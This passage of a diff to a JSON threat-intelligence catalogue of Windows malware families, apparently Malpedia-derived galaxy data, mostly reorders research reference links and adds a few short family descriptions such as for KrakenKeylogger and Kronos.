"https://malpedia.caad.fkie.fraunhofer.de/details/win.kimsuky", "https://metaswan.github.io/posts/Malware-Kimsuky-group's-resume-impersonation-malware", - "https://www.pwc.co.uk/issues/cyber-security-data-privacy/research/tracking-kimsuky-north-korea-based-cyber-espionage-group-part-1.html", - "https://www.virusbulletin.com/virusbulletin/2020/03/vb2019-paper-kimsuky-group-tracking-king-spearphishing/", - "https://www.boho.or.kr/filedownload.do?attach_file_seq=2652&attach_file_id=EpF2652.pdf", - "https://cocomelonc.github.io/tutorial/2022/04/20/malware-pers-1.html", + "https://asec.ahnlab.com/en/53046/", + "https://medium.com/walmartglobaltech/pivoting-on-a-sharpext-to-profile-kimusky-panels-for-great-good-1920dc1bcef9", + "https://cocomelonc.github.io/malware/2022/08/26/malware-pers-9.html", + "https://threatconnect.com/blog/threatconnect-research-roundup-probable-sandworm-infrastructure", "https://vblocalhost.com/presentations/operation-newton-hi-kimsuky-did-an-appleseed-really-fall-on-newtons-head/", "https://www.virusbulletin.com/uploads/pdf/conference_slides/2019/VB2019-Kim.pdf", - "https://blog.prevailion.com/2019/09/autumn-aperture-report.html", "https://asec.ahnlab.com/en/37396/", - "https://blog.alyac.co.kr/2347", "https://asec.ahnlab.com/en/30532/", - "https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf", - "https://medium.com/walmartglobaltech/pivoting-on-a-sharpext-to-profile-kimusky-panels-for-great-good-1920dc1bcef9", - "https://threatconnect.com/blog/threatconnect-research-roundup-probable-sandworm-infrastructure", + "https://blog.prevailion.com/2019/09/autumn-aperture-report.html", "https://inquest.net/blog/2021/08/23/kimsuky-espionage-campaign", - "https://cocomelonc.github.io/malware/2022/08/26/malware-pers-9.html" + "https://cocomelonc.github.io/tutorial/2022/04/20/malware-pers-1.html", + "https://www.boho.or.kr/filedownload.do?attach_file_seq=2652&attach_file_id=EpF2652.pdf", + "https://www.pwc.co.uk/issues/cyber-security-data-privacy/research/tracking-kimsuky-north-korea-based-cyber-espionage-group-part-1.html", + "https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf", + "https://blog.alyac.co.kr/2347", + "https://www.virusbulletin.com/virusbulletin/2020/03/vb2019-paper-kimsuky-group-tracking-king-spearphishing/" ], "synonyms": [], "type": [] @@ -30245,12 +31710,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.kingminer", - "https://www.bitdefender.com/files/News/CaseStudies/study/354/Bitdefender-PR-Whitepaper-KingMiner-creat4610-en-EN-GenericUse.pdf", - "https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/sophos-labs-kingminer-botnet-report.pdf", - "https://www.bleepingcomputer.com/news/security/vulnerable-microsoft-sql-servers-targeted-with-cobalt-strike/", - "https://www.trendmicro.com/en_us/research/22/e/uncovering-a-kingminer-botnet-attack-using-trend-micro-managed-x.html", + "https://asec.ahnlab.com/en/32572/", "https://news.sophos.com/en-us/2020/06/09/kingminer-report/", - "https://asec.ahnlab.com/en/32572/" + "https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/sophos-labs-kingminer-botnet-report.pdf", + "https://www.trendmicro.com/en_us/research/22/e/uncovering-a-kingminer-botnet-attack-using-trend-micro-managed-x.html", + "https://www.bleepingcomputer.com/news/security/vulnerable-microsoft-sql-servers-targeted-with-cobalt-strike/", + "https://www.bitdefender.com/files/News/CaseStudies/study/354/Bitdefender-PR-Whitepaper-KingMiner-creat4610-en-EN-GenericUse.pdf" ], "synonyms": [], "type": [] @@ -30264,9 +31729,9 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.kins", "https://www.vkremez.com/2018/10/lets-learn-exploring-zeusvm-banking.html", + "https://securityintelligence.com/zeus-maple-variant-targets-canadian-online-banking-customers/", "https://blog.malwarebytes.com/threat-analysis/2014/02/hiding-in-plain-sight-a-story-about-a-sneaky-banking-trojan/", - "https://github.com/nyx0/KINS", - "https://securityintelligence.com/zeus-maple-variant-targets-canadian-online-banking-customers/" + "https://github.com/nyx0/KINS" ], "synonyms": [ "Kasper Internet Non-Security", @@ -30282,9 +31747,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.kivars", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/palmerworm-blacktech-espionage-apt", "https://www.trendmicro.com/en_us/research/17/f/following-trail-blacktech-cyber-espionage-campaigns.html", - "https://blog.trendmicro.com/trendlabs-security-intelligence/kivars-with-venom-targeted-attacks-upgrade-with-64-bit-support/", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/palmerworm-blacktech-espionage-apt" + "https://blog.trendmicro.com/trendlabs-security-intelligence/kivars-with-venom-targeted-attacks-upgrade-with-64-bit-support/" ], "synonyms": [], "type": [] @@ -30309,6 +31774,7 @@ "description": "KleptoParasite Stealer is advertised on Hackforums as a noob-friendly stealer. It is modular and comes with a IP retriever module, a Outlook stealer (32bit/64bit) and a Chrome/Firefox stealer (32bit/64bit). Earlier versions come bundled (loader plus modules), newer versions come with a loader (167k) that grabs the modules.\r\n\r\nPDB-strings suggest a relationship to JogLog v6 and v7.", "meta": { "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.kleptoparasite_stealer", "https://malpedia.caad.fkie.fraunhofer.de/details/win.kleptoparasite_stealer" ], "synonyms": [ @@ -30338,8 +31804,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.klrd", - "https://securitykitten.github.io/2016/11/28/the-klrd-keylogger.html", - "https://www.symantec.com/connect/blogs/odinaff-new-trojan-used-high-level-financial-attacks" + "https://www.symantec.com/connect/blogs/odinaff-new-trojan-used-high-level-financial-attacks", + "https://securitykitten.github.io/2016/11/28/the-klrd-keylogger.html" ], "synonyms": [], "type": [] @@ -30365,18 +31831,18 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.koadic", - "https://github.com/zerosum0x0/koadic", - "http://www.secureworks.com/research/threat-profiles/cobalt-ulster", - "https://www.secureworks.com/research/threat-profiles/gold-drake", - "https://labs.bitdefender.com/2020/03/5-times-more-coronavirus-themed-malware-reports-during-march/?utm_campaign=twitter&utm_medium=twitter&utm_source=twitter", "https://resources.malwarebytes.com/files/2021/02/LazyScripter.pdf", - "https://www.secureworks.com/research/threat-profiles/cobalt-trinity", "https://cdn-cybersecurity.att.com/docs/global-perspective-of-the-sidewinder-apt.pdf", + "https://blog.tofile.dev/2020/11/28/koadic_jarm.html", "https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/", - "https://www.secureworks.com/research/threat-profiles/cobalt-ulster", - "http://www.secureworks.com/research/threat-profiles/gold-drake", + "http://www.secureworks.com/research/threat-profiles/cobalt-ulster", + "https://github.com/zerosum0x0/koadic", "https://www.prodaft.com/m/uploads/SilverFish_TLPWHITE.pdf", - "https://blog.tofile.dev/2020/11/28/koadic_jarm.html" + "https://labs.bitdefender.com/2020/03/5-times-more-coronavirus-themed-malware-reports-during-march/?utm_campaign=twitter&utm_medium=twitter&utm_source=twitter", + "https://www.secureworks.com/research/threat-profiles/cobalt-trinity", + "http://www.secureworks.com/research/threat-profiles/gold-drake", + "https://www.secureworks.com/research/threat-profiles/cobalt-ulster", + "https://www.secureworks.com/research/threat-profiles/gold-drake" ], "synonyms": [], "type": [] @@ -30415,10 +31881,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.komprogo", + "https://www.cylance.com/content/dam/cylance-web/en-us/resources/knowledge-center/resource-library/reports/SpyRATsofOceanLotusMalwareWhitePaper.pdf", "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html", - "https://ruxcon.org.au/assets/2017/slides/bart-RuxCon-Presentation.pptx", "https://www.symantec.com/security_response/earthlink_writeup.jsp?docid=2015-120808-5327-99", - "https://www.cylance.com/content/dam/cylance-web/en-us/resources/knowledge-center/resource-library/reports/SpyRATsofOceanLotusMalwareWhitePaper.pdf" + "https://ruxcon.org.au/assets/2017/slides/bart-RuxCon-Presentation.pptx" ], "synonyms": [ "Splinter RAT" @@ -30433,25 +31899,25 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.konni", - "https://blog.malwarebytes.com/threat-intelligence/2021/08/new-variant-of-konni-malware-used-in-campaign-targetting-russia/", - "https://blog.alyac.co.kr/2474", - "https://www.bleepingcomputer.com/news/security/hackers-take-over-diplomats-email-target-russian-deputy-minister/", - "https://cocomelonc.github.io/tutorial/2022/05/02/malware-pers-3.html", - "https://cocomelonc.github.io/tutorial/2021/09/06/simple-malware-av-evasion-2.html", + "https://cocomelonc.github.io/malware/2022/09/06/malware-tricks-23.html", + "https://blog.malwarebytes.com/threat-intelligence/2022/01/konni-evolves-into-stealthier-rat/", + "http://blog.talosintelligence.com/2017/07/konni-references-north-korean-missile-capabilities.html", + "https://www.securonix.com/blog/stiffbizon-detection-new-attack-campaign-observed/", "https://vallejo.cc/2017/07/08/analysis-of-new-variant-of-konni-rat/", "https://www.bleepingcomputer.com/news/security/north-korean-hackers-attack-eu-targets-with-konni-rat-malware/", "https://cluster25.io/wp-content/uploads/2022/01/Konni_targeting_Russian_diplomatic_sector.pdf", + "https://blog.alyac.co.kr/2474", "https://blog.lumen.com/new-konni-campaign-targeting-russian-ministry-of-foreign-affairs/", - "https://blog.malwarebytes.com/threat-intelligence/2022/01/konni-evolves-into-stealthier-rat/", - "https://us-cert.cisa.gov/ncas/alerts/aa20-227a", - "http://blog.talosintelligence.com/2017/05/konni-malware-under-radar-for-years.html", - "https://blog.fortinet.com/2017/08/15/a-quick-look-at-a-new-konni-rat-variant", - "https://e.cyberint.com/hubfs/Cyberint_Konni%20Malware%202019%20Campaign_Report.pdf", - "http://blog.talosintelligence.com/2017/07/konni-references-north-korean-missile-capabilities.html", + "https://medium.com/d-hunter/a-look-into-konni-2019-campaign-b45a0f321e9b", "https://securelist.com/scarcruft-continues-to-evolve-introduces-bluetooth-harvester/90729/", - "https://cocomelonc.github.io/malware/2022/09/06/malware-tricks-23.html", - "https://www.securonix.com/blog/stiffbizon-detection-new-attack-campaign-observed/", - "https://medium.com/d-hunter/a-look-into-konni-2019-campaign-b45a0f321e9b" + "https://blog.malwarebytes.com/threat-intelligence/2021/08/new-variant-of-konni-malware-used-in-campaign-targetting-russia/", + "https://e.cyberint.com/hubfs/Cyberint_Konni%20Malware%202019%20Campaign_Report.pdf", + "https://blog.fortinet.com/2017/08/15/a-quick-look-at-a-new-konni-rat-variant", + "http://blog.talosintelligence.com/2017/05/konni-malware-under-radar-for-years.html", + "https://cocomelonc.github.io/tutorial/2022/05/02/malware-pers-3.html", + "https://cocomelonc.github.io/tutorial/2021/09/06/simple-malware-av-evasion-2.html", + "https://us-cert.cisa.gov/ncas/alerts/aa20-227a", + "https://www.bleepingcomputer.com/news/security/hackers-take-over-diplomats-email-target-russian-deputy-minister/" ], "synonyms": [], "type": [] @@ -30477,26 +31943,27 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.korlia", - "https://researchcenter.paloaltonetworks.com/2018/07/unit42-bisonal-malware-used-attacks-russia-south-korea/", - "https://www.sentinelone.com/labs/targets-of-interest-russian-organizations-increasingly-under-attack-by-chinese-apts/", - "https://nao-sec.org/2020/01/an-overhead-view-of-the-royal-road.html", - "https://www.ptsecurity.com/upload/corporate/ww-en/pt-esc/winnti-2020-eng.pdf", + "https://www.youtube.com/watch?v=_fstHQSK-kk", + "https://www.slideshare.net/StefanoMaccaglia/bsides-ir-in-heterogeneous-environment", "https://blog.talosintelligence.com/2020/03/bisonal-10-years-of-play.html", - "https://www.secureworks.com/research/threat-profiles/bronze-huntley", + "https://www.sentinelone.com/labs/targets-of-interest-russian-organizations-increasingly-under-attack-by-chinese-apts/", + "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_3_takai_jp.pdf", + "https://github.com/malware-kitten/securitykitten.github.io/blob/master/_posts/2014-11-25-curious-korlia.md", + "https://securelist.com/cactuspete-apt-groups-updated-bisonal-backdoor/97962/", + "https://www.ptsecurity.com/upload/corporate/ww-en/pt-esc/winnti-2020-eng.pdf", + "https://researchcenter.paloaltonetworks.com/2018/07/unit42-bisonal-malware-used-attacks-russia-south-korea/", + "https://www.ptsecurity.com/upload/corporate/ru-ru/pt-esc/winnti-2020-rus.pdf", + "https://www.ptsecurity.com/upload/corporate/ru-ru/webinars/ics/winnti-shadowpad.pdf", "https://web.archive.org/web/20130920120931/https:/www.rsaconference.com/writable/presentations/file_upload/cle-t04_final_v1.pdf", "https://research.checkpoint.com/2020/vicious-panda-the-covid-campaign/", - "https://securitykitten.github.io/2014/11/25/curious-korlia.html", "https://global.ahnlab.com/global/upload/download/asecreport/ASEC%20REPORT_vol.93_ENG.pdf", - "http://asec.ahnlab.com/tag/Operation%20Bitter%20Biscuit", - "https://github.com/malware-kitten/securitykitten.github.io/blob/master/_posts/2014-11-25-curious-korlia.md", - "https://www.youtube.com/watch?v=_fstHQSK-kk", "https://asec.ahnlab.com/1298", "https://unit42.paloaltonetworks.com/unit42-bisonal-malware-used-attacks-russia-south-korea/", - "https://www.ptsecurity.com/upload/corporate/ru-ru/webinars/ics/winnti-shadowpad.pdf", - "https://www.ptsecurity.com/upload/corporate/ru-ru/pt-esc/winnti-2020-rus.pdf", - "https://www.slideshare.net/StefanoMaccaglia/bsides-ir-in-heterogeneous-environment", - "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_3_takai_jp.pdf", - "https://securelist.com/cactuspete-apt-groups-updated-bisonal-backdoor/97962/" + "https://www.secureworks.com/research/threat-profiles/bronze-huntley", + "https://securitykitten.github.io/2014/11/25/curious-korlia.html", + "https://nao-sec.org/2020/01/an-overhead-view-of-the-royal-road.html", + "https://go.recordedfuture.com/hubfs/reports/cta-2023-0919.pdf", + "http://asec.ahnlab.com/tag/Operation%20Bitter%20Biscuit" ], "synonyms": [ "Bisonal" @@ -30511,17 +31978,18 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.kovter", - "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/kovter-an-evolving-malware-gone-fileless", "https://blog.malwarebytes.com/threat-analysis/2016/07/untangling-kovter/", - "https://0x00sec.org/t/analyzing-modern-malware-techniques-part-1/18663", - "https://blog.malwarebytes.com/threat-analysis/2015/01/major-malvertising-campaign-hits-sites-with-combined-total-monthly-traffic-of-1-5bn-visitors/", - "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/evolution-of-malware-sandbox-evasion-tactics-a-retrospective-study/", "https://github.com/itaymigdal/malware-analysis-writeups/blob/main/Kovter/Kovter.md", - "https://www.symantec.com/connect/blogs/kovter-malware-learns-poweliks-persistent-fileless-registry-update", - "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/evolution-of-malware-sandbox-evasion-tactics-a-retrospective-study/", - "https://0xchrollo.github.io/articles/unpacking-kovter-malware/", "https://github.com/ewhitehats/kovterTools/blob/master/KovterWhitepaper.pdf", - "https://us-cert.cisa.gov/ncas/alerts/aa20-345a" + "https://www.cybereason.com/blog/how-click-fraud-commodity-malware-transforms-into-an-advanced-threat", + "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/evolution-of-malware-sandbox-evasion-tactics-a-retrospective-study/", + "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/kovter-an-evolving-malware-gone-fileless", + "https://blog.malwarebytes.com/threat-analysis/2015/01/major-malvertising-campaign-hits-sites-with-combined-total-monthly-traffic-of-1-5bn-visitors/", + "https://0x00sec.org/t/analyzing-modern-malware-techniques-part-1/18663", + "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/evolution-of-malware-sandbox-evasion-tactics-a-retrospective-study/", + "https://www.symantec.com/connect/blogs/kovter-malware-learns-poweliks-persistent-fileless-registry-update", + "https://us-cert.cisa.gov/ncas/alerts/aa20-345a", + "https://0xchrollo.github.io/articles/unpacking-kovter-malware/" ], "synonyms": [], "type": [] @@ -30530,23 +31998,23 @@ "value": "Kovter" }, { - "description": "", + "description": "KPOT is an information-stealing Trojan horse that can steal information from infected computers. It is distributed through phishing emails and malicious websites. Once executed on a computer, KPOT can steal passwords, credit card numbers, and other personal information.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.kpot_stealer", - "https://umbrella.cisco.com/blog/navigating-cybersecurity-during-a-pandemic-latest-malware-and-threat-actors", - "https://github.com/Dump-GUY/Malware-analysis-and-Reverse-engineering/blob/main/kpot2/KPOT.md", - "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/", - "https://medium.com/s2wlab/deep-analysis-of-kpot-stealer-fb1d2be9c5dd", "https://isc.sans.edu/diary/26010", - "https://www.flashpoint-intel.com/blog/malware-campaign-targets-jaxx-cryptocurrency-wallet-users/", - "https://www.zdnet.com/article/revil-ransomware-gang-acquires-kpot-malware/", - "https://isc.sans.edu/diary/25934", - "https://www.proofpoint.com/us/threat-insight/post/new-kpot-v20-stealer-brings-zero-persistence-and-memory-features-silently-steal", "https://blog.ensilo.com/game-of-trojans-dissecting-khalesi-infostealer-malware", "https://blag.nullteilerfrei.de/2020/04/26/use-ghidra-to-decrypt-strings-of-kpotstealer-malware/", + "https://www.zdnet.com/article/revil-ransomware-gang-acquires-kpot-malware/", + "https://isc.sans.edu/diary/25934", + "https://github.com/Dump-GUY/Malware-analysis-and-Reverse-engineering/blob/main/kpot2/KPOT.md", + "https://news.drweb.com/show/?i=13242&lng=en", "https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf", - "https://news.drweb.com/show/?i=13242&lng=en" + "https://medium.com/s2wlab/deep-analysis-of-kpot-stealer-fb1d2be9c5dd", + "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/", + "https://www.proofpoint.com/us/threat-insight/post/new-kpot-v20-stealer-brings-zero-persistence-and-memory-features-silently-steal", + "https://www.flashpoint-intel.com/blog/malware-campaign-targets-jaxx-cryptocurrency-wallet-users/", + "https://umbrella.cisco.com/blog/navigating-cybersecurity-during-a-pandemic-latest-malware-and-threat-actors" ], "synonyms": [ "Khalesi", @@ -30575,10 +32043,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.kraken", - "https://securingtomorrow.mcafee.com/mcafee-labs/fallout-exploit-kit-releases-the-kraken-ransomware-on-its-victims/", "https://web.archive.org/web/20160616170611/https://media.blackhat.com/bh-eu-10/presentations/Carrera_Silberman/BlackHat-EU-2010-Carrera-Silberman-State-of-Malware-slides.pdf", "https://www.bleepingcomputer.com/news/security/kraken-cryptor-ransomware-masquerading-as-superantispyware-security-program/", - "https://www.recordedfuture.com/kraken-cryptor-ransomware/" + "https://www.recordedfuture.com/kraken-cryptor-ransomware/", + "https://securingtomorrow.mcafee.com/mcafee-labs/fallout-exploit-kit-releases-the-kraken-ransomware-on-its-victims/" ], "synonyms": [], "type": [] @@ -30586,15 +32054,29 @@ "uuid": "3d7ae6b9-8161-470e-a7b6-752151b21657", "value": "Kraken" }, + { + "description": "KrakenKeylogger is a .NET based Infostealer malware sold in Underground hacking forums", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.krakenkeylogger", + "https://0xtoxin.github.io/threat%20hunting/KrakenKeylogger-pt2/", + "https://0xtoxin.github.io/malware%20analysis/KrakenKeylogger-pt1/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "6b15469a-64ff-4edc-99dd-60f7a277d5c1", + "value": "KrakenKeylogger" + }, { "description": "ThreatPost describes KRBanker (Blackmoon) as a banking Trojan designed to steal user credentials from various South Korean banking institutions. It was discovered in early 2014 and since then has adopted a variety of infection and credential stealing techniques.\r\n\r\n", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.krbanker", - "http://researchcenter.paloaltonetworks.com/2016/05/unit42-krbanker-targets-south-korea-through-adware-and-exploit-kits-2/", - "https://fidelissecurity.com/threatgeek/threat-intelligence/blackmoon-banking-trojan-new-framework/", - "https://zairon.wordpress.com/2014/04/15/trojan-banking-47d18761d46d8e7c4ad49cc575b0acc2bb3f49bb56a3d29fb1ec600447cb89a4/", "https://www.peppermalware.com/2019/03/analysis-of-blackmoon-banking-trojans.html", + "https://fidelissecurity.com/threatgeek/threat-intelligence/blackmoon-banking-trojan-new-framework/", + "http://researchcenter.paloaltonetworks.com/2016/05/unit42-krbanker-targets-south-korea-through-adware-and-exploit-kits-2/", + "https://zairon.wordpress.com/2014/04/15/trojan-banking-47d18761d46d8e7c4ad49cc575b0acc2bb3f49bb56a3d29fb1ec600447cb89a4/", "https://www.proofpoint.com/us/threat-insight/post/Updated-Blackmoon-Banking-Trojan" ], "synonyms": [ @@ -30618,30 +32100,30 @@ "value": "KrDownloader" }, { - "description": "", + "description": "Kronos malware is a sophisticated banking Trojan that first emerged in 2014. It is designed to target financial institutions and steal sensitive banking information. The malware is primarily spread through phishing campaigns and exploit kits. Once installed on a victim's computer, Kronos can capture login credentials, credit card details, and other personal information by keylogging and form grabbing techniques. It can also bypass security measures such as two-factor authentication. Kronos employs advanced evasion techniques to avoid detection by antivirus software and actively updates itself to evade security patches. It has been known to target a wide range of banking systems and has affected numerous organizations worldwide. The malware continues to evolve, making it a significant threat to online banking security.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.kronos", - "https://www.trendmicro.com/en_us/research/22/g/gootkit-loaders-updated-tactics-and-fileless-delivery-of-cobalt-strike.html", - "https://www.securonix.com/securonix-threat-research-kronos-osiris-banking-trojan-attack", - "https://dissectingmalwa.re/osiris-the-god-of-afterlifeand-banking-malware.html", - "https://intel471.com/blog/privateloader-malware", "https://research.checkpoint.com/deep-dive-upas-kit-vs-kronos/", - "https://www.proofpoint.com/us/threat-insight/post/kronos-banking-trojan-used-to-deliver-new-point-of-sale-malware", - "https://www.zdnet.com/article/security-researcher-malwaretech-pleads-guilty/", - "https://blog.malwarebytes.com/cybercrime/2017/08/inside-kronos-malware-p2/", - "https://blog.malwarebytes.com/threat-analysis/2016/10/new-looking-sundown-ek-drops-smoke-loader-kronos-banker/", - "https://unit42.paloaltonetworks.com/banking-trojan-techniques/", - "https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree", - "https://www.proofpoint.com/us/threat-insight/post/kronos-reborn", - "https://www.zscaler.com/blogs/security-research/ares-malware-grandson-kronos-banking-trojan", - "https://blog.malwarebytes.com/cybercrime/2017/08/inside-kronos-malware/", - "https://therecord.media/osiris-banking-trojan-shuts-down-as-new-ares-variant-emerges/", - "https://blog.trendmicro.com/trendlabs-security-intelligence/operation-black-atlas-endangers-in-store-card-payments-and-smbs-worldwide-switches-between-blackpos-and-other-tools/", - "https://vx-underground.org/archive/APTs/2017/2017.12.11/Money%20Taker.pdf", - "https://blog.morphisec.com/long-live-osiris-banking-trojan-targets-german-ip-addresses", + "https://www.securonix.com/securonix-threat-research-kronos-osiris-banking-trojan-attack", "https://twitter.com/3xp0rtblog/status/1294157781415743488", - "https://securityintelligence.com/the-father-of-zeus-kronos-malware-discovered/" + "https://dissectingmalwa.re/osiris-the-god-of-afterlifeand-banking-malware.html", + "https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree", + "https://blog.trendmicro.com/trendlabs-security-intelligence/operation-black-atlas-endangers-in-store-card-payments-and-smbs-worldwide-switches-between-blackpos-and-other-tools/", + "https://www.proofpoint.com/us/threat-insight/post/kronos-reborn", + "https://securityintelligence.com/the-father-of-zeus-kronos-malware-discovered/", + "https://www.proofpoint.com/us/threat-insight/post/kronos-banking-trojan-used-to-deliver-new-point-of-sale-malware", + "https://therecord.media/osiris-banking-trojan-shuts-down-as-new-ares-variant-emerges/", + "https://www.zscaler.com/blogs/security-research/ares-malware-grandson-kronos-banking-trojan", + "https://blog.morphisec.com/long-live-osiris-banking-trojan-targets-german-ip-addresses", + "https://blog.malwarebytes.com/cybercrime/2017/08/inside-kronos-malware/", + "https://intel471.com/blog/privateloader-malware", + "https://blog.malwarebytes.com/cybercrime/2017/08/inside-kronos-malware-p2/", + "https://www.zdnet.com/article/security-researcher-malwaretech-pleads-guilty/", + "https://blog.malwarebytes.com/threat-analysis/2016/10/new-looking-sundown-ek-drops-smoke-loader-kronos-banker/", + "https://vx-underground.org/archive/APTs/2017/2017.12.11/Money%20Taker.pdf", + "https://www.trendmicro.com/en_us/research/22/g/gootkit-loaders-updated-tactics-and-fileless-delivery-of-cobalt-strike.html", + "https://unit42.paloaltonetworks.com/banking-trojan-techniques/" ], "synonyms": [ "Osiris" @@ -30669,8 +32151,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ksl0t", - "https://0ffset.net/reverse-engineering/malware-analysis/analyzing-turlas-keylogger-1/", "https://0ffset.wordpress.com/2018/10/05/post-0x17-2-turla-keylogger/", + "https://0ffset.net/reverse-engineering/malware-analysis/analyzing-turlas-keylogger-1/", "https://0ffset.net/reverse-engineering/malware-analysis/analyzing-turlas-keylogger-2/" ], "synonyms": [], @@ -30738,17 +32220,17 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.kwampirs", + "https://www.zdnet.com/article/fbi-re-sends-alert-about-supply-chain-attacks-for-the-third-time-in-three-months/", "https://resources.cylera.com/new-evidence-linking-kwampirs-malware-to-shamoon-apts", - "https://blog.reversinglabs.com/blog/unpacking-kwampirs-rat", + "https://www.atlanticcouncil.org/wp-content/uploads/2020/07/Breaking-trust-Shades-of-crisis-across-an-insecure-software-supply-chain.pdf", + "https://www.securityartwork.es/2019/03/13/orangeworm-group-kwampirs-analysis-update/", "http://www.documentcloud.org/documents/6821581-FLASH-CP-000111-MW-Downgraded-Version.html", "https://resources.cylera.com/hubfs/Cylera%20Labs/Cylera%20Labs%20Kwampirs%20Shamoon%20Technical%20Report.pdf", - "https://thehackernews.com/2022/03/researchers-find-new-evidence-linking.html", - "https://www.securityartwork.es/2019/03/13/orangeworm-group-kwampirs-analysis-update/", - "https://www.atlanticcouncil.org/wp-content/uploads/2020/07/Breaking-trust-Shades-of-crisis-across-an-insecure-software-supply-chain.pdf", "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia", + "https://www.zdnet.com/article/fbi-warns-about-ongoing-attacks-against-software-supply-chain-companies/", "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", - "https://www.zdnet.com/article/fbi-re-sends-alert-about-supply-chain-attacks-for-the-third-time-in-three-months/", - "https://www.zdnet.com/article/fbi-warns-about-ongoing-attacks-against-software-supply-chain-companies/" + "https://blog.reversinglabs.com/blog/unpacking-kwampirs-rat", + "https://thehackernews.com/2022/03/researchers-find-new-evidence-linking.html" ], "synonyms": [], "type": [] @@ -30762,6 +32244,7 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ladon", "https://github.com/k8gege/Ladon", + "https://www.paloaltonetworks.com/blog/security-operations/through-the-cortex-xdr-lens-uncovering-a-new-activity-group-targeting-governments-in-the-middle-east-and-africa/", "https://mandiant.widen.net/s/pkffwrbjlz/m-trends-2023" ], "synonyms": [], @@ -30775,10 +32258,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.lalala_stealer", + "https://www.hornetsecurity.com/en/security-information/information-stealer-campaign-targeting-german-hr-contacts/", "https://blog.prevailion.com/2020/03/the-curious-case-of-criminal-curriculum.html", - "https://twitter.com/luc4m/status/1276477397102145538", "https://securitynews.sonicwall.com/xmlpost/lalala-infostealer-which-comes-with-batch-and-powershell-scripting-combo/", - "https://www.hornetsecurity.com/en/security-information/information-stealer-campaign-targeting-german-hr-contacts/" + "https://twitter.com/luc4m/status/1276477397102145538" ], "synonyms": [], "type": [] @@ -30791,12 +32274,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.lambert", - "https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=7ca2e331-2209-46a8-9e60-4cb83f9602de&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments", "https://ti.qianxin.com/blog/articles/network-weapons-of-cia/", - "https://twitter.com/_CPResearch_/status/1484502090068242433", - "https://www.symantec.com/connect/blogs/longhorn-tools-used-cyberespionage-group-linked-vault-7", - "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", "https://www.youtube.com/watch?v=jeLd-gw2bWo", + "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", + "https://www.symantec.com/connect/blogs/longhorn-tools-used-cyberespionage-group-linked-vault-7", + "https://twitter.com/_CPResearch_/status/1484502090068242433", + "https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=7ca2e331-2209-46a8-9e60-4cb83f9602de&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments", "https://securelist.com/blog/research/77990/unraveling-the-lamberts-toolkit/" ], "synonyms": [ @@ -30826,7 +32309,9 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.laplas", "https://twitter.com/Gi7w0rm/status/1604999633792647169", - "https://blog.cyble.com/2022/11/02/new-laplas-clipper-distributed-by-smokeloader/" + "https://embee-research.ghost.io/laplas-clipper-infrastructure/", + 